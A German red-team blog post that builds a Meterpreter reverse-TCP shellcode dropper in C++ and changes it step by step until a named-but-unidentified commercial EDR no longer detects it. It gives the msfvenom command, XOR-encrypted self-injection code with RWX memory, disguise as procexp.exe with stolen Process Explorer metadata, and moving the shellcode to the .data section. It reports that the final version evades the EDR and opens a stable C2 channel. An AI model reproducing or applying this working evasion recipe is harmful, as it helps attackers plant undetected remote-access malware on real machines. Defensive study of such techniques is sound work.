Disclaimer
Der Inhalt und alle Code-Beispiele in diesem Artikel sind nur für Forschungszwecke bestimmt und dürfen nicht in einem unethischen Kontext verwendet werden!
Einleitung
Wenn ich in diesem Artikel von EDRs spreche, meine ich eine Kombination aus Endpoint Protection (EPP) und Endpoint Detection and Response (EDR). Außerdem möchte ich den Begriff "Bypassing" im Zusammenhang mit EDRs und Malware definieren. Wenn ich davon spreche, dass es möglich ist bzw. war, den EDR zu umgehen, dann bezieht sich der Begriff "umgehen" darauf, dass seitens EDR keine Prevention und keine Detection stattgefunden hat. Trotzdem sammelt der EDR am Endpoint weiterhin Telemetriedaten, welche für aktives Threat Hunting genutzt werden können.
Mittlerweile gibt es aus Sicht der Angreifer (Red Team) eine ganze Reihe verschiedener Techniken, wie z.B. Direct System Calls, Indirect System Calls, API Unhooking, etc. die uns als Red Teamer helfen können, der Erkennung durch Endpoint Protection (EPP) und Endpoint Detection and Response (EDR) Systeme zu entgehen. Doch selbst wenn man seine Malware, z.B. Shellcode Dropper, um diverse Evasion Features erweitert, scheint das verwendete Command and Control Framework (C2) bzw. der jeweilige Shellcode oftmals eine gewisse Limitierung darzustellen. Bei modernen Red Team C2's wie Nighthawk, Cobal Strike, Brute Ratel etc. scheint dies weniger ein Problem zu sein, da der Shellcode des Stagers bzw. der Payload bereits per Default mit sehr nützlichen Evasion Features wie Indirect Syscalls, Hardware Breakpoints etc. ausgestattet ist.
Etwas anders sieht es bei frei verfügbaren Frameworks wie dem Metasploit Framework (MSF) aus, mit denen es teilweise sehr schwierig sein kann, moderne EDRs im Kontext von Command and Control Verbindungen zu umgehen. Ob und in welcher Phase Meterpreter-Shellcode bzw. die Ausführung von Meterpreter-Shellcode von EDRs erkannt wird, hängt von verschiedenen Faktoren wie z.B. Signaturen im Shellcode ab. Ebenso kann es für die Erkennung durch EDRs wichtig sein, wie sich der ausgeführte Shellcode im Speicher verhält. So wird z.B. Metasploit- oder Meterpreter-Shellcode im Speicher von EDRs anhand bestimmter Muster erkannt.
Betrachtet man legitime Speicherbereiche mit Process Hacker so sind diese z.B. vom Typ "Image" und verweisen zugleich auf das dazugehörige Image. Betrachtet man eine Meterpreter-Payload im Speicher, stellt man fest, dass es hier jedoch auch bestimmte Speicherregionen vom Typ "Private" gibt und nicht auf ein Image verweisen. Dadurch kann zum Beipspiel der 4kB große Meterpreter Stager identifiziert werden. Diese Art von Speicherregionen werden als "unbacked executable sections" bezeichnet und in der Regel von EDRs als schädlich eingestuft.
Ebenfalls ist es aus Sicht eines EDRs eher ungewöhnlich, wenn ein Thread z.B. Speicherbereiche in der .text (Code) Section gleichzeitig als read (R), write (W) und executable (X) markiert. Standardmäßig handelt es sich bei der .text Sektion um eine read-only Sektion in der PE-Struktur. Im Falle von der Verwendung einer Meterpreter Payload trifft das nicht zur Gänze zu, da durch die Verwendung der Windows API VirtualAlloc bestimmte Bereiche zusätzlich als write (W) und executeable (X) bzw. wird dann die betroffene Speicherregion im Gesamten als RWX markiert (PAGE_EXECUTE_READWRITE).
Als Basis bzw. Referenz wird ein einfacher Self Injection Dropper (Referenz Dropper) in C++ verwendet, der dann Schritt für Schritt modifiziert wird. Nach jeder Modifikation des Referenz-Droppers soll festgestellt werden, ob die Modifikation einen Vorteil bei der Umgehung des getesteten EDRs bringt. Die folgenden drei Änderungen werden im Laufe dieses Artikels am Referenz Dropper vorgenommen:
- Shellcode Encryption: XOR Verschlüsselung des Meterpreter Shellcodes des Referenz Droppers
- Metadaten: Der XOR Shellcode-Dropper wird mit Hilfe einer Manifestdatei um legitime Metadaten erweitert.
- PE-Struktur: Verschieben des Metepreter-Shellcodes von der .text-Sektion in die .data-Sektion in der PE-Struktur.
Außerdem wollen wir nach jeder Änderung den Entropiewert unseres Droppers messen. Die Entropie ist ein Maß für die Zufälligkeit (randomness) in einer Datenmenge. Im Zusammenhang mit Informatik und Cybersicherheit wird meist die Shannon-Entropie verwendet. Im Allgemeinen hat eine normale Datei eine geordnete Struktur, eine niedrige Entropie und eine hohe Dichte. Die Struktur von abnormalen Dateien (Malware) neigt dazu, eine hohe Entropie und eine niedrige Dichte zu haben. Der Entropiewert kann bzw. wird von EDRs verwendet, um eine verdächtige Datei letztendlich als legitim oder schädlich zu klassifizieren. Dateien mit einer Entropie zwischen 4,8 und 7,2 werden von EDRs eher als legitim eingestuft, während Dateien mit einer Entropie über 7,2 eher als schädlich eingestuft werden.
Wer mehr über die Entropie im Zusammenhang mit Malware erfahren möchte, sollte einen Blick in den folgenden Artikel werfen. Für die Messung der Entropie wurde die freie Version von pestudio verwendet.
Aus Respekt vor dem EDR-Hersteller wird der Name des EDRs nicht genannt. Jeder Leser ist jedoch dazu eingeladen, den Test mit seinem eigenen EDR durchzuführen.
Meterpreter Referenz Dropper
Im ersten Schritt erstellen wir unseren C++ Referenzdropper. Wir beginnen mit der Erstellung einer staged Meterpreter-TCP-Payload mit msfvenom. Der Parameter -f gibt an, dass wir unsere Payload im typischen Shellcode-Hex-Format ausgeben wollen.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=External_IPv4_Redirector LPORT=80 -f c
Der erzeugte Meterpreter Shellcode im Hexformat kann im Anschluss in das C++ POC eingefügt und kompiliert werden.
#include <stdio.h>
#include <windows.h>
int main() {
// Replace your MSF-Shellcode
unsigned char code[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\...";
// Allocate memory for MSF-Shellcode
void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Copy MSF-Shellcode into the allocated memory
memcpy(exec, code, sizeof code);
// Execute MSF-Shellcode in memory
((void(*)())exec)();
return 0;
}
Technische Erläuterung des Referenz Droppers
- Wir definieren innerhalb der Main-Funktion die Variable "code", die unseren Meterpreter Shellcode speichert. Da die Variable innerhalb der Main-Funktion definiert ist, erfolgt eine Deklaration als lokale Variable, wodurch der Shellcode in der Sektion .text (code) bzw. in unserem Fall in .rdata gespeichert wird, da der Meterpreter Stager größer als 255 Bytes ist (Danke an Paranoid Ninja und den18 für die Hilfe bei diesem Thema!).
- Wir definieren einen Pointer vom Typ "void*" mit der Variable "exec", welche auf die Windows API VirtualAlloc zeigt und uns die Startadresse des zugewissenen Speicherblocks zurückgibt.
- Die Windows API VirtualAlloc wird für die Reservierung von Speicher verwendet, eine kurze Erläuterung der in der Funktion verwendeten Parameter.
- Das erste Argument, "0", ist ein Pointer auf die Startadresse des Speicherblocks. In diesem Fall bitten wir VirtualAlloc, die Startadresse zu bestimmen, indem wir einen Null-Pointer übergeben.
- Das zweite Argument, "sizeof code", gibt die Größe des zuzuweisenden Speicherblocks an. Da "code" ein Array von Bytes ist, wird die Größe des Arrays mit Hilfe des sizeof-Operators berechnet.
- Das dritte Argument, "MEM_COMMIT", weist VirtualAlloc an, dem Block Speicherseiten (pages) zuzuweisen, was bedeutet, dass physischer Speicher zugewiesen wird. Dadurch wird sichergestellt, dass der Speicher für die Verwendung zur Verfügung steht.
- Das vierte Argument, "PAGE_EXECUTE_READWRITE", legt den Speicherschutz für den zugewiesenen Block fest. In diesem Fall erfolgt die Definition als read (R), write (W) and executable (X).
- Das erste Argument, "0", ist ein Pointer auf die Startadresse des Speicherblocks. In diesem Fall bitten wir VirtualAlloc, die Startadresse zu bestimmen, indem wir einen Null-Pointer übergeben.
- Die Funktion memcpy wird aufgerufen um den Meterpreter Shellcode vom "code" array in den reservierten Speicher zu kopieren.
- Das erste Argument, "exec", ist ein Pointer auf den Zielspeicherblock.
- Das zweite Argument, "code", ist ein Pointer auf den Quellspeicherblock.
- Das dritte Argument, "sizeof code", gibt die Anzahl der zu kopierenden Bytes an.
- Das erste Argument, "exec", ist ein Pointer auf den Zielspeicherblock.
- Der Shellcode wird ausgeführt, indem der Funktionspointer "((void(*)())exec)()" aufgerufen wird. Mit dieser Syntax wird der Pointer "exec" in einen Function-Pointer umgewandelt, dann die Funktion aufgerufen und anschließend der Meterpreter Shellcode ausgeführt.
Beobachtungen
Nach dem Kopieren des Referenz Meterpreter Shellcode Droppers auf die Festplatte des Rechners mit installiertem EDR wurde die .exe vom getesteten EDR erwartungsgemäß statisch erkannt, als schädlich mit Priorität Hoch eingestuft und unter Quarantäne gestellt. Dieses Ergebnis war zu erwarten, da der Standard Meterpreter Shellcode über doch eindeutige statische Signaturen verfügt und in dieser Form von jedem modernen EDR als schädlich erkannt und die Ausführung verhindert werden sollte.
Wie eingangs erwähnt, wollen wir die Entropie unseres Shellcode-Droppers immer ein wenig im Auge behalten und verwenden dafür die freie Version von PE-Monitor. In diesem Fall beträgt die Entropie des kompilierten Referenz Droppers 4.901.
Meterpreter Shellcode XOR-Encryption
In diesem Abschnitt beginnen wir mit der ersten Modifikation unseres Referenz-Droppers. Um die statische Erkennung des Meterpreter-Shellcodes zu verhindern, können wir versuchen, den Shellcode mit dem XOR-Algorithmus zu verschlüsseln. Im Allgemeinen erhöht die Verschlüsselung des Shellcodes die Entropie des Droppers, aber da wir eine zu starke Erhöhung vermeiden wollen, haben wir in diesem Versuch bewusst auf die Verschlüsselung mit einem stärkeren Algorithmus wie AES verzichtet.
Für die Verschlüsselung des Meterpreter-Shellcodes kann der folgende C++ Code verwendet werden. Dies ist nicht die cleverste und komfortabelste Variante, aber sie erfüllt ihren Zweck und erzeugt als Ausgabe einen XOR-verschlüsselten Meterpreter-TCP Shellcode.
#include <stdio.h>
#include <windows.h>
int main()
{
unsigned char code[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\...";
char key = 'ABCD';
int i = 0;
for (i; i < sizeof(code); i++)
{
printf("\\x%02x", code[i] ^ key);
}
Um den verschlüsselten Shellcode verwenden zu können, erweitern wir unseren Referenz-Dropper um den XOR-Entschlüsselungsteil. Der XOR-verschlüsselte Shellcode und der verwendete Schlüssel werden dann in das VS-Projekt eingefügt.
#include <stdio.h>
#include <windows.h>
int main() {
// Replace your XOR encrypted MSF-Shellcode
unsigned char code[] = "\xa6\x12\xd9\xbe\xaa\xb2\x96\...";
// Decrypt XOR encrpyted MSF-Shellcode
char key = 'ABCD';
int i = 0;
for (i; i < sizeof(code) - 1; i++)
{
code[i] = code[i] ^ key;
}
// Allocate memory for the decrypted MSF-Shellcode
void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Copy the MSF-Shellcode into the allocated memory
memcpy(exec, code, sizeof code);
// Execute the decrypted MSF-Shellcode in memory
((void(*)())exec)();
return 0;
}
Beobachtungen
Hier konnten mit dem getesteten EDR unterschiedliche Beobachtungen gemacht werden. Interessanterweise scheint die Verschlüsselung des Meterpreter-Shellcodes mittels XOR nicht immer auszureichen, um den statischen Teil des EDR zu umgehen. Obwohl die Konfiguration des EDRs zwischen den Versuchen nicht verändert wurde, wurde unserer Dropper (.exe) teilweise über die statische Erkennung des EDRs abgefangen und in die Quarantäne verschoben.
Bei einigen Versuchen schien die Verschlüsselung des Meterpreter-Shellcodes mit dem XOR-Algorithmus auszureichen, um die statische Erkennung des EDR zu umgehen. In diesen Fällen (best case) konnte unser Dropper zwar ausgeführt werden, jedoch erfolgte eine Erkennung durch die dynamische Analyse des EDR und es wurde ein Alert mit der Priorität Medium ausgegeben. In einigen Fällen (worst case) wurde der Meterpreter Dropper jedoch auch nach der Ausführung weiterhin statisch vom EDR erkannt und mit einem Alert der Priorität High klassifiziert. Insgesamt kann jedoch ein erster kleiner Teilerfolg verzeichnet werden, da die Priorität des Alerts durch den EDR von High auf Medium reduziert werden konnte.
Nach unserer ersten Modifikation des Referenzdroppers wollen wir die Entropie unserer kompilierten .exe erneut mit pestudio messen. Wie erwartet steigt die Entropie durch die Verschlüsselung des Meterpreter-Shellcodes leicht von 4.901 auf 5.033.
Metadata-Manifest
Im vorherigen Schritt konnten wir teilweise einen ersten Teilerfolg in Bezug auf unser EDR Evasion Experiment verbuchen. In einigen Fällen wurde jedoch unser Meterpreter Shellcode Dropper trotz XOR-Verschlüsselung statisch vom EDR erkannt und in Quarantäne verschoben.
Mit der zweiten Modifikation des Meterpreter Referenz Droppers wollen wir die Auswirkungen des Hinzufügens von legitimen Metadaten in Form einer Manifestdatei untersuchen. Vereinfacht gesagt wollen wir mit dieser Modifikation erreichen, dass unser Shellcode Dropper aus EDR-Sicht etwas an Legitimität gewinnt. Für dieses Experiment wird der Code des vorherigen Schrittes (XOR-Verschlüsselung) nicht verändert, wir fügen dem Projekt unter Visual Studio lediglich eine leere Manifestdatei hinzu, die dann mit Metadaten gefüllt wird. Die Manifestdatei kann dem Projekt unter Visual Studio als Ressource (Version) hinzugefügt werden. In diesem Fall verwenden wir die Metadaten aus dem Process Explorer für unser Manifest (Sorry Mark, dass ich die Metadaten aus dem Process Explorer verwende).
Anschließend können wir unseren Meterpreter Shellcode Dropper neu kompilieren und sehen, dass unsere .exe nun die Metadaten der ursprünglichen procexp.exe hat. Um unseren Dropper noch legitimer erscheinen zu lassen, ändern wir den Namen des Droppers in procexp.exe.
Beobachtungen
Obwohl auch hier die Konfiguration des EDRs zwischen den Versuchen nicht verändert wurde, konnten nach der zweiten Modifikation in mehreren Versuchen unterschiedliche Beobachtungen gemacht werden.
Generell lässt sich sagen, dass sich das Hinzufügen von legitimen Metadaten positiv auf unseren Shellcode Dropper auswirkt (aus Sicht des Angreifers), aber im Detail gab es deutliche Unterschiede. Wir erinnern uns, dass es nach der ersten Modifikation, bei der wir den Shellcode mit dem XOR-Algorithmus verschlüsselt haben, noch Versuche gab, bei denen der Meterpreter-Shellcode weiterhin statisch vom EDR erfasst wurde. Nach dem Hinzufügen der legitimen Metadaten zu unserem Dropper konnten wir beobachten, dass die Metadaten einen positiven Effekt auf die statische EDR-Evasion hatten. Mit anderen Worten, auch wenn der Dropper vorher statisch vom XOR Shellcode erfasst wurde, wurde der Dropper nach dem Hinzufügen der Metadaten nicht mehr statisch vom EDR erfasst. Somit kann ein weiterer kleiner Teilerfolg verbucht werden, da das Thema der statischen EDR-Evasion soweit gelöst ist.
Nach der Ausführung unseres Droppers (procexp.exe) konnte ebenfalls ein unterschiedliches Verhalten des EDR beobachtet werden. In einigen Versuchen (best case) schienen auch die Metadaten einen positiven Einfluss auf die dynamische EDR-Evasion zu haben. Das heißt, die beiden Modifikationen XOR-Verschlüsselung und Hinzufügen einer legitimen Manifestdatei reichten aus, um den doch sehr bekannten EDR mit einem Meterpreter-TCP-Shellcode zu umgehen. In weiteren Versuchen (worst case) - die EDR Konfiguration wurde wiederum nicht verändert - konnte der Dropper zwar ausgeführt werden, wurde aber vom EDR mit der Priorität low erkannt. Aber auch wenn der Dropper nach der Ausführung durch dynamische Erkennungsmechanismen teilweise weiterhin vom EDR erkannt wurde, kann wiederum ein weiterer kleiner Teilerfolg verbucht werden, da wir die Priorität des Alerts erneut, diesmal von Medium auf Low, herabsetzen konnten.
Ebenfalls wurde beobachtet, dass das Hinzufügen von legitimen Metadaten in Form einer Manifestdatei die Entropie von 5.033 auf 4.922 reduziert.
From .text to .data
Im vorherigen Schritt konnten wir weitere Teilerfolge verbuchen. Im besten Fall reichten zwei Modifikationen (XOR und Manifest) an unserem Meterpreter Referenz Dropper aus, um den getesteten EDR zu umgehen und einen stabilen Command and Control Channel (C2) zu öffnen. Im schlimmsten Fall wurde unser Dropper nach der Ausführung immer noch vom EDR erkannt und blockiert, aber auch in diesem Fall konnten wir einen weiteren Teilerfolg verbuchen, da wir den EDR Alarm von Medium auf Low reduzieren konnten.
Mit der dritten und letzten Modifikation unseres Droppers wollen wir untersuchen, wie es sich auf die Umgehung des EDR auswirkt, wenn wir den Meterpreter Shellcode nicht wie bisher als lokale Variable innerhalb der Main Funktion definieren und der Shellcode somit in der .text (code) Section der PE-Struktur gespeichert wird. Stattdessen definieren wir die Shellcode-Variable "code" außerhalb der Main-Funktion und damit als globale Variable, wodurch der Shellcode in der .data-Sektion in der PE-Struktur gespeichert wird.
#include <stdio.h>
#include <windows.h>
// Replace your XOR encrypted MSF-Shellcode
unsigned char code[] = "\xa6\x12\xd9\xbe\xaa\xb2\x96\...";
int main() {
// Decrypt XOR encrpyted MSF-Shellcode
char key = 'ABCD';
int i = 0;
for (i; i < sizeof(code) - 1; i++)
{
code[i] = code[i] ^ key;
}
// Allocate memory for the decrypted MSF-Shellcode
void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Copy the MSF-Shellcode into the allocated memory
memcpy(exec, code, sizeof code);
// Execute the decrypted MSF-Shellcode in memory
((void(*)())exec)();
return 0;
}
Sobald die dritte Modifikation erfolgreich durchgeführt wurde, d.h. die Variable "code" als globale Variable definiert wurde, kann CFF Explorer verwendet werden, um zu überprüfen, ob der XOR-codierte Meterpreter Shellcode tatsächlich in der .data-Sektion liegt.
Beobachtungen
Nach der dritten Modifikation des Meterpreter Shellcode Droppers konnte in mehreren Versuchen immer das gleiche Verhalten des EDR beobachtet werden. Der EDR erkannte unseren Meterpreter Shellcode Dropper weder statisch nach dem Kopieren des Droppers auf die Festplatte, noch wurde der Dropper nach der Ausführung als schädlich erkannt. Auch nach mehrmaliger Ausführung in unterschiedlichen Zeitabständen wurde der Meterpreter Dropper (XOR, Manifest und .data) vom EDR nicht erkannt und es konnte ein stabiler C2 Kanal aufgebaut werden.
Ob und warum sich die Verschiebung des Meterpreter-Shellcodes von der .text-Sektion (Code-Sektion) bzw. .rdata-Sektion in die .data-Sektion positiv auf die Evasion-Fähigkeiten unseres Shellcode-Droppers auswirkt, ist derzeit nicht ganz klar und es können nur folgende Vermutungen ohne Anspruch auf Richtigkeit und Vollständigkeit angestellt werden.
- Die EDR-Lösung verwendet Speicherscantechniken, die speziell für die Erkennung von Shellcode im .text-Abschnitt, nicht aber im .data-Abschnitt ausgelegt sind. Beispielsweise kann der EDR signaturbasierte Erkennungstechniken verwenden, die für die Erkennung gemeinsamer Shellcode-Muster im .text-Abschnitt geeignet sind, aber möglicherweise nicht so effektiv bei der Erkennung desselben Shellcodes im .data-Abschnitt sind.
- Der .text-Abschnitt ist normalerweise ein schreibgeschützter Speicherbereich, während der .data-Abschnitt schreib- und lesbar ist. Wenn die EDR-Lösung den Schreibzugriff auf den .data-Bereich nicht überwacht, kann sie bösartigen Shellcode, der in diesen Speicherbereich geschrieben wird, möglicherweise nicht erkennen.
Auch wollen wir noch die Entropie des Shellcode Droppers nach der dritten Modifikation erfassen. Interessanterweise bewirkte die Verlagerung des Meterpreter Shellcodes in die .data section im PE-Header eine Senkung der Entropie von 4.922 auf 4.783.
Zusammenfassung
Nachdem der Referenz-Dropper unverändert auf die Festplatte des Rechners mit installiertem EDR kopiert wurde, erfolgte eine Erkennung durch den EDR aufgrund bekannter Signaturen im Meterpreter-Shellcode. Der Dropper (.exe) wurde als schädlich mit Priorität hoch eingestuft und in Quarantäne verschoben.
In der ersten Modifikation wurde eine simple XOR-Verschlüsselung des Meterpreter-Shellcodes vorgenommen und das POC des Referenz-Droppers um den XOR-Entschlüsselungsteil erweitert. Obwohl zunächst keine weiteren Modifikationen am Dropper vorgenommen wurden und auch die Konfiguration des EDRs zwischen den Experimenten nicht verändert wurde, erhielten wir unterschiedliche Ergebnisse. In einigen Ergebnissen reichte die XOR-Verschlüsselung des doch bekannten Meterpreter-Shellcodes nicht aus und wurde weiterhin statisch vom EDR erkannt und mit der Priorität High versehen. In anderen Versuchen mit dem gleichen EDR wurde der Dropper jedoch nicht statisch erkannt. Der Dropper konnte auf dem Ziel ausgeführt werden, wurde aber anschließend vom EDR dynamisch erkannt. Dennoch konnte ein erster Teilerfolg verzeichnet werden, da der EDR den Alert nicht mehr mit High, sondern mit Medium priorisierte.
Die zweite Modifikation bestand darin, dem "XOR-Dropper" legitime Metadaten des Process Explorers in Form einer Manifestdatei hinzuzufügen. Auch hier wurde die EDR-Konfiguration zwischen den Experimenten nicht verändert, aber auch hier wurden unterschiedliche Ergebnisse erzielt. Im schlechtesten Fall wirkten sich die hinzugefügten Metadaten auf unseren Dropper "nur" positiv auf die Umgehung der statischen Erkennung des EDR aus und der Dropper wurde nach der Ausführung weiterhin vom EDR erkannt. Im besten Fall schienen sich die Metadaten in Form der Manifestdatei auch positiv auf die Umgehung der dynamischen Erkennung des EDR auszuwirken. D.h. die Ausführung des Droppers wurde nicht mehr durch den EDR verhindert und es konnte ein stabiler Meterpreter Command and Control Kanal geöffnet werden. Aber auch wenn, wie bereits beschrieben, das Hinzufügen der Metadaten der procexp.exe sich nur positiv auf die statische EDR-Evasion auswirkte, konnte auch in diesem Fall ein weiterer Teilerfolg verzeichnet werden, da der EDR den Dropper nicht mehr mit Medium sondern mit Low priorisierte.
Mit der dritten und letzten Modifikation an unserem Meterpreter Shellcode Dropper haben wir den Shellcode von der .text Section in die .data Section verschoben, indem wir im C++ POC die Shellcode Variable "code" nicht mehr als lokale, sondern als globale Variable deklariert haben. Hier konnte beobachtet werden, dass die dritte Modifikation ausreichte, um den EDR trotz einfacher Self Injection und Meterpreter Shellcode in unseren Versuchen "dauerhaft" zu umgehen.
Interessant war auch zu beobachten, dass das Hinzufügen von legitimen Metadaten (Manifest) und auch das Verschieben des Meterpreter Shellcodes in die .data Sektion in der PE-Struktur einen reduzierenden Einfluss auf die Entropie des Meterpreter Droppers hatte.
- Referenz Dropper mit default Meterpreter-TCP Shellcode -> 4.901
- Dropper nach erster Modifikation (XOR) -> 5.033
- Dropper nach zweiter Modifikation (XOR und Manifest) -> 4.922
- Dropper nach dritter Modifikation (XOR, Manifest und .data) -> 4.783
Warum es heute (März 2023) möglich ist, den doch recht bekannten EDR mit einer einfachen Meterpreter TCP Payload "dauerhaft" zu umgehen, kann nicht eindeutig geklärt werden. Meine Vermutung ist, dass die Kombination der drei Modifikationen dazu beiträgt, dass der Dropper an Legitimität gewinnt und somit vom EDR insgesamt nicht mehr als schädlich wahrgenommen wird. Meiner Meinung nach spielt auch die Entropie des Droppers eine entscheidende Rolle. Bei dem getesteten EDR hatte ich den Eindruck, dass bei einer Entropie der Malware zwischen 4,5 und 4,8 die Wahrscheinlichkeit deutlich höher ist, dass diese vom EDR nicht als schädlich erkannt wird.
Doch was nehmen wir am Ende von diesem Versuch mit? Auch wenn ich im Fall des getesten EDRs selbst ein wenig überrascht war, geht es mir nicht darum mit dem Finger auf ein Produkt zu zeigen. Wesentlich wichtiger ist für mich die Erkenntniss, dass es aus Sicht des Angreifers nicht immer komplexe Evasion Techniken benötigt um einen EDR zu umgehen. Ein paar einfache Modifikationen an einem Self Injection Dropper reichen aus um auch gute EDRs zu umgehen. Des Weiteren hat mir der Versuch gezeigt, dass der Shellcode eines C2-Frameworks nicht zwingend eine Limitierung darstellen muss. Im Fall von Meterpreter gibt es wahrscheinlich eine Vielzahl an Signaturen die für die Erkennung von EDRs verwendet werden, trotzdem ist es mit ein paar einfachen Modifikationen möglich, einen durchaus brauchbaren Meterpreter Dropper zu erzeugen.
Happy Hacking!
Daniel Feichter @VirtualAllocEx
References
- https://csandker.io/2019/07/24...
- https://www.ired.team/offensiv...
- https://learn.microsoft.com/en...
- https://learn.microsoft.com/en...
- https://en.wikipedia.org/wiki/...
- https://practicalsecurityanaly...
- https://github.com/rapid7/meta...
- https://www.elastic.co/securit...
- https://en.wikipedia.org/wiki/...(information_theory)
- https://www.socinvestigation.c...